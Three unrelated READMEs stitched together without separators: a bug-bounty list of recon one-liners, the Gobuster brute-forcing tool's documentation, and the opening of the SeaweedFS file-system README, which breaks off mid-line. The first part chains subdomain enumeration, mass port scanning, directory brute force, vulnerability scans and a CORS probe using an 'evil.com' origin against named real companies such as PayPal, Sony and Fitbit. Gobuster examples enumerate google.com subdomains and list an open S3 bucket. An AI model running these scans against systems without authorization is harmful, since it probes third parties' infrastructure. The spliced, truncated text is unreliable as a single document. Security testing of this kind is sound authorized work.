| xargs -I@ jaeles scan -s /jaeles-signatures/ -u @ ``` ### JLDC domain search subdomain, using rush and jaeles. - [Explained command](https://bit.ly/3hfNV5k) ```bash curl -s "https://jldc.me/anubis/subdomains/sony.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | httpx -silent -threads 300 | anew | rush -j 10 'jaeles scan -s /jaeles-signatures/ -u {}' ``` ### Chaos to search subdomains check cloudflareip scan port. - [Explained command](https://bit.ly/3hfNV5k) ```bash chaos -silent -d paypal.com | filter-resolved | cf-check | anew | naabu -rate 60000 -silent -verify | httpx -title -silent ``` ### Search JS to domains file. - [Explained command](https://bit.ly/2Zs13yj) ```bash cat FILE TO TARGET | httpx -silent | subjs | anew ``` ### Search JS using assetfinder, rush and hakrawler. - [Explained command](https://bit.ly/3ioYuV0) ```bash assetfinder -subs-only paypal.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | rush 'hakrawler -plain -linkfinder -depth 5 -url {}' | grep "paypal" ``` ### Search to CORS using assetfinder and rush - [Explained command](https://bit.ly/33qT71x) ```bash assetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin:evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n\033[0;32m[VUL TO CORS] - {}\e[m"' 2>/dev/null" ``` ### Search to js using hakrawler and rush & unew - [Explained command](https://bit.ly/2Rqn9gn) ```bash tac hostsGospider | rush -j 100 'hakrawler -js -plain -usewayback -depth 6 -scope subs -url {} | unew hakrawlerHttpx' ``` ### XARGS to dirsearch brute force. - [Explained command](https://bit.ly/32MZfCa) ```bash cat hosts | xargs -I@ sh -c 'python3 dirsearch.py -r -b -w path -u @ -i 200, 403, 401, 302 -e php,html,json,aspx,sql,asp,js' ``` ### Assetfinder to run massdns. - [Explained command](https://bit.ly/32T5W5O) ```bash assetfinder DOMAIN --subs-only | anew | massdns -r lists/resolvers.txt -t A -o S -w result.txt ; cat result.txt | sed 's/A.*//; s/CN.*// ; s/\..$//' | httpx -silent ``` ### Extract path to js - [Explained command](https://bit.ly/3icrr5R) ```bash cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))" | sort -u ``` # Project [![made-with-Go](https://img.shields.io/badge/Made%20with-Go-1f425f.svg)](http://golang.org) [![made-with-bash](https://img.shields.io/badge/Made%20with-Bash-1f425f.svg)](https://www.gnu.org/software/bash/) [![Open Source? Yes!](https://badgen.net/badge/Open%20Source%20%3F/Yes%21/blue?icon=github)](https://github.com/Naereen/badges/) [![The King](https://aleen42.github.io/badges/src/twitter.svg)](https://twitter.com/ofjaaah) [![The King](https://aleen42.github.io/badges/src/twitter.svg)](https://twitter.com/zeroc00I) [![The King](https://aleen42.github.io/badges/src/twitter.svg)](https://twitter.com/willxenoo) [![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/KingOfTipsBugBounty) <a href="https://www.buymeacoffee.com/OFJAAAH" target="_blank"><img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt="Buy Me A Coffee" style="height: 20px !important;width: 50px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;" ></a>
# Gobuster v3.1.0 Gobuster is a tool used to brute-force: * URIs (directories and files) in web sites. * DNS subdomains (with wildcard support). * Virtual Host names on target web servers. * Open Amazon S3 buckets ## Tags, Statuses, etc [![Build Status](https://travis-ci.com/OJ/gobuster.svg?branch=master)](https://travis-ci.com/OJ/gobuster) [![Backers on Open Collective](https://opencollective.com/gobuster/backers/badge.svg)] [![Sponsors on Open Collective](https://opencollective.com/gobuster/sponsors/badge.svg)] ## Oh dear God.. WHY!? Because I wanted: 1. ... something that didn't have a fat Java GUI (console FTW). 1. ... to build something that just worked on the command line. 1. ... something that did not do recursive brute force. 1. ... something that allowed me to brute force folders and multiple extensions at once. 1. ... something that compiled to native on multiple platforms. 1. ... something that was faster than an interpreted script (such as Python). 1. ... something that didn't require a runtime. 1. ... use something that was good with concurrency (hence Go). 1. ... to build something in Go that wasn't totally useless. ## But it's shit! And your implementation sucks! Yes, you're probably correct. Feel free to: * Not use it. * Show me how to do it better. ## Love this tool? Back it! If you're backing us already, you rock. If you're not, that's cool too! Want to back us? [Become a backer](https://opencollective.com/gobuster#backer)! [![Backers](https://opencollective.com/gobuster/backers.svg?width=890)](https://opencollective.com/gobuster#backers) All funds that are donated to this project will be donated to charity. A full log of charity donations will be available in this repository as they are processed. ## Changes in 3.1 * enumerate public AWS S3 buckets * fuzzing mode * specify HTTP method * added support for patterns. You can now specify a file containing patterns that are applied to every word, one by line. Every occurrence of the term `{GOBUSTER}` in it will be replaced with the current wordlist item. Please use with caution as this can cause increase the number of requests issued a lot. * The shorthand `p` flag which was assigned to proxy is now used by the pattern flag ## Changes in 3.0 * New CLI options so modes are strictly separated (`-m` is now gone!) * Performance Optimizations and better connection handling * Ability to enumerate vhost names * Option to supply custom HTTP headers ## Available Modes * dir - the classic directory brute-forcing mode * dns - DNS subdomain brute-forcing mode * s3 - Enumerate open S3 buckets and look for existence and bucket listings * vhost - virtual host brute-forcing mode (not the same as DNS!) ## Built-in Help Help is built-in! * `gobuster help` - outputs the top-level help. * `gobuster help <mode>` - outputs the help specific to that mode. ## `dns` Mode Help ```text Usage: gobuster dns [flags] Flags: -d, --domain string The target domain -h, --help help for dns -r, --resolver string Use custom DNS server (format server.com or server.com:port) -c, --show-cname Show CNAME records (cannot be used with '-i' option) -i, --show-ips Show IP addresses --timeout duration DNS resolver timeout (default 1s) --wildcard Force continued operation when wildcard found Global Flags: -z, --no-progress Don't display progress -o, --output string Output file to write results to (defaults to stdout) -q, --quiet Don't print the banner and other noise -t, --threads int Number of concurrent threads (default 10) --delay duration Time each thread waits between requests (e.g. 1500ms) -v, --verbose Verbose output (errors) -w, --wordlist string Path to the wordlist ``` ## `dir` Mode Options ```text Usage: gobuster dir [flags] Flags: -f, --add-slash Append / to each request -c, --cookies string Cookies to use for the requests -e, --expanded Expanded mode, print full URLs -x, --extensions string File extension(s) to search for -r, --follow-redirect Follow redirects -H, --headers stringArray Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2' -h, --help help for dir -l, --include-length Include the length of the body in the output -k, --no-tls-validation Skip TLS certificate verification -n, --no-status Don't print status codes -P, --password string Password for Basic Auth -p, --proxy string Proxy to use for requests [http(s)://host:port] -s, --status-codes string Positive status codes (will be overwritten with status-codes-blacklist if set) (default "200,204,301,302,307,401,403") -b, --status-codes-blacklist string Negative status codes (will override status-codes if set) --timeout duration HTTP Timeout (default 10s) -u, --url string The target URL -a, --useragent string Set the User-Agent string (default "gobuster/3.1.0") -U, --username string Username for Basic Auth -d, --discover-backup Upon finding a file search for backup files --wildcard Force continued operation when wildcard found Global Flags: -z, --no-progress Don't display progress -o, --output string Output file to write results to (defaults to stdout) -q, --quiet Don't print the banner and other noise -t, --threads int Number of concurrent threads (default 10) --delay duration Time each thread waits between requests (e.g. 1500ms) -v, --verbose Verbose output (errors) -w, --wordlist string Path to the wordlist ``` ## `vhost` Mode Options ```text Usage: gobuster vhost [flags] Flags: -c, --cookies string Cookies to use for the requests -r, --follow-redirect Follow redirects -H, --headers stringArray Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2' -h, --help help for vhost -k, --no-tls-validation Skip TLS certificate verification -P, --password string Password for Basic Auth -p, --proxy string Proxy to use for requests [http(s)://host:port] --timeout duration HTTP Timeout (default 10s) -u, --url string The target URL -a, --useragent string Set the User-Agent string (default "gobuster/3.1.0") -U, --username string Username for Basic Auth Global Flags: -z, --no-progress Don't display progress -o, --output string Output file to write results to (defaults to stdout) -q, --quiet Don't print the banner and other noise -t, --threads int Number of concurrent threads (default 10) --delay duration Time each thread waits between requests (e.g. 1500ms) -v, --verbose Verbose output (errors) -w, --wordlist string Path to the wordlist ``` ## Easy Installation ### Binary Releases We are now shipping binaries for each of the releases so that you don't even have to build them yourself! How wonderful is that! If you're stupid enough to trust binaries that I've put together, you can download them from the [releases](https://github.com/OJ/gobuster/releases) page. ### Using `go get` If you have a [Go](https://golang.org/) environment ready to go, it's as easy as: ```bash go get github.com/OJ/gobuster ``` ## Building From Source Since this tool is written in [Go](https://golang.org/) you need to install the Go language/compiler/etc. Full details of installation and set up can be found [on the Go language website](https://golang.org/doc/install). Once installed you have two options. ### Compiling `gobuster` now has external dependencies, and so they need to be pulled in first: ```bash go get && go build ``` This will create a `gobuster` binary for you. If you want to install it in the `$GOPATH/bin` folder you can run: ```bash go install ``` If you have all the dependencies already, you can make use of the build scripts: * `make` - builds for the current Go configuration (ie. runs `go build`). * `make windows` - builds 32 and 64 bit binaries for windows, and writes them to the `build` folder. * `make linux` - builds 32 and 64 bit binaries for linux, and writes them to the `build` folder. * `make darwin` - builds 32 and 64 bit binaries for darwin, and writes them to the `build` folder. * `make all` - builds for all platforms and architectures, and writes the resulting binaries to the `build` folder. * `make clean` - clears out the `build` folder. * `make test` - runs the tests. ## Wordlists via STDIN Wordlists can be piped into `gobuster` via stdin by providing a `-` to the `-w` option: ```bash hashcat -a 3 --stdout ?l | gobuster dir -u https://mysite.com -w - ``` Note: If the `-w` option is specified at the same time as piping from STDIN, an error will be shown and the program will terminate. ## Patterns You can supply pattern files that will be applied to every word from the wordlist. Just place the string `{GOBUSTER}` in it and this will be replaced with the word. This feature is also handy in s3 mode to pre- or postfix certain patterns. **Caution:** Using a big pattern file can cause a lot of request as every pattern is applied to every word in the wordlist. ### Example file ```text {GOBUSTER}Partial {GOBUSTER}Service PRE{GOBUSTER}POST {GOBUSTER}-prod {GOBUSTER}-dev ``` ## Examples ### `dir` Mode Command line might look like this: ```bash gobuster dir -u https://mysite.com/path/to/folder -c 'session=123456' -t 50 -w common-files.txt -x .php,.html ``` Default options looks like this: ```bash gobuster dir -u https://buffered.io -w ~/wordlists/shortlist.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Mode : dir [+] Url/Domain : https://buffered.io/ [+] Threads : 10 [+] Wordlist : /home/oj/wordlists/shortlist.txt [+] Status codes : 200,204,301,302,307,401,403 [+] User Agent : gobuster/3.1.0 [+] Timeout : 10s =============================================================== 2019/06/21 11:49:43 Starting gobuster =============================================================== /categories (Status: 301) /contact (Status: 301) /posts (Status: 301) /index (Status: 200) =============================================================== 2019/06/21 11:49:44 Finished =============================================================== ``` Default options with status codes disabled looks like this: ```bash gobuster dir -u https://buffered.io -w ~/wordlists/shortlist.txt -n =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Mode : dir [+] Url/Domain : https://buffered.io/ [+] Threads : 10 [+] Wordlist : /home/oj/wordlists/shortlist.txt [+] Status codes : 200,204,301,302,307,401,403 [+] User Agent : gobuster/3.1.0 [+] No status : true [+] Timeout : 10s =============================================================== 2019/06/21 11:50:18 Starting gobuster =============================================================== /categories /contact /index /posts =============================================================== 2019/06/21 11:50:18 Finished =============================================================== ``` Verbose output looks like this: ```bash gobuster dir -u https://buffered.io -w ~/wordlists/shortlist.txt -v =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Mode : dir [+] Url/Domain : https://buffered.io/ [+] Threads : 10 [+] Wordlist : /home/oj/wordlists/shortlist.txt [+] Status codes : 200,204,301,302,307,401,403 [+] User Agent : gobuster/3.1.0 [+] Verbose : true [+] Timeout : 10s =============================================================== 2019/06/21 11:50:51 Starting gobuster =============================================================== Missed: /alsodoesnotexist (Status: 404) Found: /index (Status: 200) Missed: /doesnotexist (Status: 404) Found: /categories (Status: 301) Found: /posts (Status: 301) Found: /contact (Status: 301) =============================================================== 2019/06/21 11:50:51 Finished =============================================================== ``` Example showing content length: ```bash gobuster dir -u https://buffered.io -w ~/wordlists/shortlist.txt -l =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Mode : dir [+] Url/Domain : https://buffered.io/ [+] Threads : 10 [+] Wordlist : /home/oj/wordlists/shortlist.txt [+] Status codes : 200,204,301,302,307,401,403 [+] User Agent : gobuster/3.1.0 [+] Show length : true [+] Timeout : 10s =============================================================== 2019/06/21 11:51:16 Starting gobuster =============================================================== /categories (Status: 301) [Size: 178] /posts (Status: 301) [Size: 178] /contact (Status: 301) [Size: 178] /index (Status: 200) [Size: 51759] =============================================================== 2019/06/21 11:51:17 Finished =============================================================== ``` Quiet output, with status disabled and expanded mode looks like this ("grep mode"): ```bash gobuster dir -u https://buffered.io -w ~/wordlists/shortlist.txt -q -n -e https://buffered.io/index https://buffered.io/contact https://buffered.io/posts https://buffered.io/categories ``` ### `dns` Mode Command line might look like this: ```bash gobuster dns -d mysite.com -t 50 -w common-names.txt ``` Normal sample run goes like this: ```bash gobuster dns -d google.com -w ~/wordlists/subdomains.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Mode : dns [+] Url/Domain : google.com [+] Threads : 10 [+] Wordlist : /home/oj/wordlists/subdomains.txt =============================================================== 2019/06/21 11:54:20 Starting gobuster =============================================================== Found: chrome.google.com Found: ns1.google.com Found: admin.google.com Found: www.google.com Found: m.google.com Found: support.google.com Found: translate.google.com Found: cse.google.com Found: news.google.com Found: music.google.com Found: mail.google.com Found: store.google.com Found: mobile.google.com Found: search.google.com Found: wap.google.com Found: directory.google.com Found: local.google.com Found: blog.google.com =============================================================== 2019/06/21 11:54:20 Finished =============================================================== ``` Show IP sample run goes like this: ```bash gobuster dns -d google.com -w ~/wordlists/subdomains.txt -i =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Mode : dns [+] Url/Domain : google.com [+] Threads : 10 [+] Wordlist : /home/oj/wordlists/subdomains.txt =============================================================== 2019/06/21 11:54:54 Starting gobuster =============================================================== Found: www.google.com [172.217.25.36, 2404:6800:4006:802::2004] Found: admin.google.com [172.217.25.46, 2404:6800:4006:806::200e] Found: store.google.com [172.217.167.78, 2404:6800:4006:802::200e] Found: mobile.google.com [172.217.25.43, 2404:6800:4006:802::200b] Found: ns1.google.com [216.239.32.10, 2001:4860:4802:32::a] Found: m.google.com [172.217.25.43, 2404:6800:4006:802::200b] Found: cse.google.com [172.217.25.46, 2404:6800:4006:80a::200e] Found: chrome.google.com [172.217.25.46, 2404:6800:4006:802::200e] Found: search.google.com [172.217.25.46, 2404:6800:4006:802::200e] Found: local.google.com [172.217.25.46, 2404:6800:4006:80a::200e] Found: news.google.com [172.217.25.46, 2404:6800:4006:802::200e] Found: blog.google.com [216.58.199.73, 2404:6800:4006:806::2009] Found: support.google.com [172.217.25.46, 2404:6800:4006:802::200e] Found: wap.google.com [172.217.25.46, 2404:6800:4006:802::200e] Found: directory.google.com [172.217.25.46, 2404:6800:4006:802::200e] Found: translate.google.com [172.217.25.46, 2404:6800:4006:802::200e] Found: music.google.com [172.217.25.46, 2404:6800:4006:802::200e] Found: mail.google.com [172.217.25.37, 2404:6800:4006:802::2005] =============================================================== 2019/06/21 11:54:55 Finished =============================================================== ``` Base domain validation warning when the base domain fails to resolve. This is a warning rather than a failure in case the user fat-fingers while typing the domain. ```bash gobuster dns -d yp.to -w ~/wordlists/subdomains.txt -i =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Mode : dns [+] Url/Domain : yp.to [+] Threads : 10 [+] Wordlist : /home/oj/wordlists/subdomains.txt =============================================================== 2019/06/21 11:56:43 Starting gobuster =============================================================== 2019/06/21 11:56:53 [-] Unable to validate base domain: yp.to Found: cr.yp.to [131.193.32.108, 131.193.32.109] =============================================================== 2019/06/21 11:56:53 Finished =============================================================== ``` Wildcard DNS is also detected properly: ```bash gobuster dns -d 0.0.1.xip.io -w ~/wordlists/subdomains.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Mode : dns [+] Url/Domain : 0.0.1.xip.io [+] Threads : 10 [+] Wordlist : /home/oj/wordlists/subdomains.txt =============================================================== 2019/06/21 12:13:48 Starting gobuster =============================================================== 2019/06/21 12:13:48 [-] Wildcard DNS found. IP address(es): 1.0.0.0 2019/06/21 12:13:48 [!] To force processing of Wildcard DNS, specify the '--wildcard' switch. =============================================================== 2019/06/21 12:13:48 Finished =============================================================== ``` If the user wants to force processing of a domain that has wildcard entries, use `--wildcard`: ```bash gobuster dns -d 0.0.1.xip.io -w ~/wordlists/subdomains.txt --wildcard =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Mode : dns [+] Url/Domain : 0.0.1.xip.io [+] Threads : 10 [+] Wordlist : /home/oj/wordlists/subdomains.txt =============================================================== 2019/06/21 12:13:51 Starting gobuster =============================================================== 2019/06/21 12:13:51 [-] Wildcard DNS found. IP address(es): 1.0.0.0 Found: 127.0.0.1.xip.io Found: test.127.0.0.1.xip.io =============================================================== 2019/06/21 12:13:53 Finished =============================================================== ``` ### `vhost` Mode Command line might look like this: ```bash gobuster vhost -u https://mysite.com -w common-vhosts.txt ``` Normal sample run goes like this: ```bash gobuster vhost -u https://mysite.com -w common-vhosts.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://mysite.com [+] Threads: 10 [+] Wordlist: common-vhosts.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2019/06/21 08:36:00 Starting gobuster =============================================================== Found: www.mysite.com Found: piwik.mysite.com Found: mail.mysite.com =============================================================== 2019/06/21 08:36:05 Finished =============================================================== ``` ### `s3` Mode Command line might look like this: ```bash gobuster s3 -w bucket-names.txt ``` ### `fuzzing` Mode Command line might look like this: ```bash gobuster fuzz -u https://example.com?FUZZ=test -w parameter-names.txt ``` #### Use case in combination with patterns * Create a custom wordlist for the target containing company names and so on * Create a pattern file to use for common bucket names. ```bash curl -s --output - https://raw.githubusercontent.com/eth0izzle/bucket-stream/master/permutations/extended.txt | sed -s 's/%s/{GOBUSTER}/' > patterns.txt ``` * Run gobuster with the custom input. Be sure to turn verbose mode on to see the bucket details ```bash gobuster s3 --wordlist my.custom.wordlist -p patterns.txt -v ``` Normal sample run goes like this: ```text PS C:\Users\firefart\Documents\code\gobuster> .\gobuster.exe s3 --wordlist .\wordlist.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Threads: 10 [+] Wordlist: .\wordlist.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s [+] Maximum files to list: 5 =============================================================== 2019/08/12 21:48:16 Starting gobuster in S3 bucket enumeration mode =============================================================== webmail hacking css img www dav web localhost =============================================================== 2019/08/12 21:48:17 Finished =============================================================== ``` Verbose and sample run ```text PS C:\Users\firefart\Documents\code\gobuster> .\gobuster.exe s3 --wordlist .\wordlist.txt -v =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Threads: 10 [+] Wordlist: .\wordlist.txt [+] User Agent: gobuster/3.1.0 [+] Verbose: true [+] Timeout: 10s [+] Maximum files to list: 5 =============================================================== 2019/08/12 21:49:00 Starting gobuster in S3 bucket enumeration mode =============================================================== www [Error: All access to this object has been disabled (AllAccessDisabled)] hacking [Error: Access Denied (AccessDenied)] css [Error: All access to this object has been disabled (AllAccessDisabled)] webmail [Error: All access to this object has been disabled (AllAccessDisabled)] img [Bucket Listing enabled: GodBlessPotomac1.jpg (1236807b), HOMEWORKOUTAUDIO.zip (203908818b), ProductionInfo.xml (11946b), Start of Perpetual Motion Logo-1.mp3 (621821b), addressbook.gif (3115b)] web [Error: Access Denied (AccessDenied)] dav [Error: All access to this object has been disabled (AllAccessDisabled)] localhost [Error: Access Denied (AccessDenied)] =============================================================== 2019/08/12 21:49:01 Finished =============================================================== ``` Extended sample run ```text PS C:\Users\firefart\Documents\code\gobuster> .\gobuster.exe s3 --wordlist .\wordlist.txt -e =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Threads: 10 [+] Wordlist: .\wordlist.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s [+] Expanded: true [+] Maximum files to list: 5 =============================================================== 2019/08/12 21:48:38 Starting gobuster in S3 bucket enumeration mode =============================================================== http://css.s3.amazonaws.com/ http://www.s3.amazonaws.com/ http://webmail.s3.amazonaws.com/ http://hacking.s3.amazonaws.com/ http://img.s3.amazonaws.com/ http://web.s3.amazonaws.com/ http://dav.s3.amazonaws.com/ http://localhost.s3.amazonaws.com/ =============================================================== 2019/08/12 21:48:38 Finished =============================================================== ``` ## License See the LICENSE file. ## Thanks See the THANKS file for people who helped out.
# SeaweedFS [![Slack](https://img.shields.io/badge/slack-purple)](https://join.slack.com/t/seaweedfs/shared_invite/enQtMzI4MTMwMjU2MzA3LTEyYzZmZWYzOGQ3MDJlZWMzYmI0OTE4OTJiZjJjODBmMzUxNmYwODg0YjY3MTNlMjBmZDQ1NzQ5NDJhZWI2ZmY) [![Twitter](https://img.shields.io/twitter/follow/seaweedfs.svg?style=social&label=Follow)](https://twitter.com/intent/follow?screen_name=seaweedfs) [![Build Status](https://img.shields.io/github/actions/workflow/status/seaweedfs/seaweedfs/go.yml)](https://github.com/seaweedfs/seaweedfs/actions/workflows/go.yml) [![GoDoc](https://godoc.org/github.com/seaweedfs/seaweedfs/weed?status.svg)](https://godoc.org/github.com/seaweedfs/seaweedfs/weed) [![Wiki](https://img.shields.io/badge/docs-wiki-blue.svg)](https://github.com/seaweedfs/seaweedfs/wiki) [![Docker Pulls](https://img.shields.io/docker/pulls/chrislusf/seaweedfs?maxAge=4800)](https://hub.docker.com/r/chrislusf/seaweedfs/) [![SeaweedFS on Maven Central](https://img.shields.io/maven-central/v/com.github.chrislusf/seaweedfs-client)](https://search.maven.org/search?q=g:com.github.chrislusf) [![Artifact Hub](https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/seaweedfs)](https://artifacthub.io/packages/search?repo=seaweedfs) ![SeaweedFS Logo](https://raw.githubusercontent.com/seaweedfs/seaweedfs/master/note/seaweedfs.png) <h2 align="center"><a href="https://www.patreon.com/seaweedfs">Sponsor SeaweedFS via Patreon</a></h2> SeaweedFS is an independent Apache-licensed open source project with its ongoing development made possible entirely thanks to the support of these awesome [backers](https://github.com/seaweedfs/seaweedfs/blob/master/backers.md). If you'd like to grow SeaweedFS even stronger, please consider joining our <a href="https://www.patreon.com/seaweedfs">sponsors on Patreon</a>. Your support will be really appreciated by me and other supporters! <!-- <h4 align="center">Platinum</h4> <p align="center"> <a href="" target="_blank"> Add your name or icon here </a> </p> --> ### Gold Sponsors [![nodion](https://raw.githubusercontent.com/seaweedfs/seaweedfs/master/note/sponsor_nodion.png)](https://www.nodion.com) [![piknik](https://raw.githubusercontent.com/seaweedfs/seaweedfs/master/note/piknik.png)](https://www.piknik.com) --- - [Download Binaries for different platforms](https://github.com/seaweedfs/seaweedfs/releases/latest) - [SeaweedFS on Slack](https://join.slack.com/t/seaweedfs/shared_invite/enQtMzI4MTMwMjU2MzA3LTEyYzZmZWYzOGQ3MDJlZWMzYmI0OTE4OTJiZjJjODBmMzUxNmYwODg0YjY3MTNlMjBmZDQ1NzQ5NDJhZWI2ZmY) - [SeaweedFS on Twitter](https://twitter.com/SeaweedFS) - [SeaweedFS on Telegram](https://t.me/Seaweedfs) - [SeaweedFS on Reddit](https://www.reddit.com/r/SeaweedFS/) - [SeaweedFS Mailing List](https://groups.google.com/d/forum/seaweedfs) - [Wiki Documentation](https://github.com/seaweedfs/seaweedfs/wiki) - [SeaweedFS White Paper](https://github.com/seaweedfs/seaweedfs/wiki/SeaweedFS_Architecture.pdf) - [SeaweedFS Introduction Slides 2021.5](https://docs.google.com/presentation/d/1DcxKWlINc-HNCjhYeERkpGXXm6nTCES8mi2W5G0Z4Ts/edit?usp=sharing) - [SeaweedFS Introduction Slides 2019.3](https://www.slideshare.net/chrislusf/seaweedfs-introduction) Table of Contents ================= * [Quick Start](#quick-start) * [Quick Start for S3 API on Docker](#quick-start-for-s3-api-on-docker) * [Quick Start with Single Binary](#quick-start-with-single-binary) * [Quick Start SeaweedFS S3 on AWS](#quick-start-seaweedfs-s3-on-aws) * [Introduction](#introduction) * [Features](#features) * [Additional Features](#additional-features) * [Filer Features](#filer-features) * [Example: Using Seaweed Object Store](#example-using-seaweed-object-store) * [Architecture](#object-store-architecture) * [Compared to Other File Systems](#compared-to-other-file-systems) * [Compared to HDFS](#compared-to-hdfs) * [Compared to GlusterFS, Ceph](#compared-to-glusterfs-ceph) * [Compared to GlusterFS](#compared-to-glusterfs) * [Compared to Ceph](#compared-to-ceph) * [Compared to Minio](#compared-to-minio) * [Dev Plan](#dev-plan) * [Installation Guide](#installation-guide) * [Disk Related Topics](#disk-related-topics) * [Benchmark](#benchmark) * [License](#license) # Quick Start # ## Quick Start for S3 API on Docker ## `docker run -p 8333:8333 chrislusf/seaweedfs server -s3` ## Quick Start with Single Binary ## * Download the latest binary from https://github.com/seaweedfs/seaweedfs/releases and unzip a single binary file `weed` or `weed.exe`. Or run `go install github.com/seaweedfs/seaweedfs/weed@latest`. * Run `weed server -dir=/some/data/dir -s3` to start one master, one volume server, one filer, and one S3 gateway. Also, to increase capacity, just add more volume servers by running `weed volume -dir="/some/data/dir2" -mserver="<master_host>:9333" -port=8081` locally, or on a different machine, or on thousands of machines. That is it! ## Quick Start SeaweedFS S3 on AWS ## * Setup fast production-ready [SeaweedFS S3 on AWS with cloudformation](https://aws.amazon.com/marketplace/pp/prodview-nzelz5gprlrjc) # Introduction # SeaweedFS is a simple and highly scalable distributed file system. There are two objectives: 1. to store billions of files! 2. to serve the files fast! SeaweedFS started as an Object Store to handle small files efficiently. Instead of managing all file metadata in a central master, the central master only manages volumes on volume servers, and these volume servers manage files and their metadata. This relieves concurrency pressure from the central master and spreads file metadata into volume servers, allowing faster file access (O(1), usually just one disk read operation). There is only 40 bytes of disk storage overhead for each file's metadata. It is so simple with O(1) disk reads that you are welcome to challenge the performance with your actual use cases. SeaweedFS started by implementing [Facebook's Haystack design paper](http://www.usenix.org/event/osdi10/tech/full_papers/Beaver.pdf). Also, SeaweedFS implements erasure coding with ideas from [f4: Facebook’s Warm BLOB Storage System](https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-muralidhar.pdf), and has a lot of similarities with [Facebook’s Tectonic Filesystem](https://www.usenix.org/system/files/fast21-pan.pdf) On top of the object store, optional [Filer] can support directories and POSIX attributes. Filer is a separate linearly-scalable stateless server with customizable metadata stores, e.g., MySql, Postgres, Redis, Cassandra, HBase, Mongodb, Elastic Search, LevelDB, RocksDB, Sqlite, MemSql, TiDB, Etcd, CockroachDB, YDB, etc. For any distributed key value stores, the large values can be offloaded to SeaweedFS. With the fast access speed and linearly scalable capacity, SeaweedFS can work as a distributed [Key-Large-Value store][KeyLargeValueStore]. SeaweedFS can transparently integrate with the cloud. With hot data on local cluster, and warm data on the cloud with O(1) access time, SeaweedFS can achieve both fast local access time and elastic cloud storage capacity. What's more, the cloud storage access API cost is minimized. Faster and cheaper than direct cloud storage! [Back to TOC](#table-of-contents) # Features # ## Additional Features ## * Can choose no replication or different replication levels, rack and data center aware. * Automatic master servers failover - no single point of failure (SPOF). * Automatic Gzip compression depending on file MIME type. * Automatic compaction to reclaim disk space after deletion or update. * [Automatic entry TTL expiration][VolumeServerTTL]. * Any server with some disk space can add to the total storage space. * Adding/Removing servers does **not** cause any data re-balancing unless triggered by admin commands. * Optional picture resizing. * Support ETag, Accept-Range, Last-Modified, etc. * Support in-memory/leveldb/readonly mode tuning for memory/performance balance. * Support rebalancing the writable and readonly volumes. * [Customizable Multiple Storage Tiers][TieredStorage]: Customizable storage disk types to balance performance and cost. * [Transparent cloud integration][CloudTier]: unlimited capacity via tiered cloud storage for warm data. * [Erasure Coding for warm storage][ErasureCoding] Rack-Aware 10.4 erasure coding reduces storage cost and increases availability. [Back to TOC](#table-of-contents) ## Filer Features ## * [Filer server][Filer] provides "normal" directories and files via HTTP. * [File TTL][FilerTTL] automatically expires file metadata and actual file data. * [Mount filer][Mount] reads and writes files directly as a local directory via FUSE. * [Filer Store Replication][FilerStoreReplication] enables HA for filer meta data stores. * [Active-Active Replication][ActiveActiveAsyncReplication] enables asynchronous one-way or two-way cross cluster continuous replication. * [Amazon S3 compatible API][AmazonS3API] accesses files with S3 tooling. * [Hadoop Compatible File System][Hadoop] accesses files from Hadoop/Spark/Flink/etc or even runs HBase. * [Async Replication To Cloud][BackupToCloud] has extremely fast local access and backups to Amazon S3, Google Cloud Storage, Azure, BackBlaze. * [WebDAV] accesses as a mapped drive on Mac and Windows, or from mobile devices. * [AES256-GCM Encrypted Storage][FilerDataEncryption] safely stores the encrypted data. * [Super Large Files][SuperLargeFiles] stores large or super large files in tens of TB. * [Cloud Drive][CloudDrive] mounts cloud storage to local cluster, cached for fast read and write with asynchronous write back. * [Gateway to Remote Object Store][GatewayToRemoteObjectStore] mirrors bucket operations to remote object storage, in addition to [Cloud Drive][CloudDrive] ## Kubernetes ## * [Kubernetes CSI Driver][SeaweedFsCsiDriver] A Container Storage Interface (CSI) Driver. [![Docker 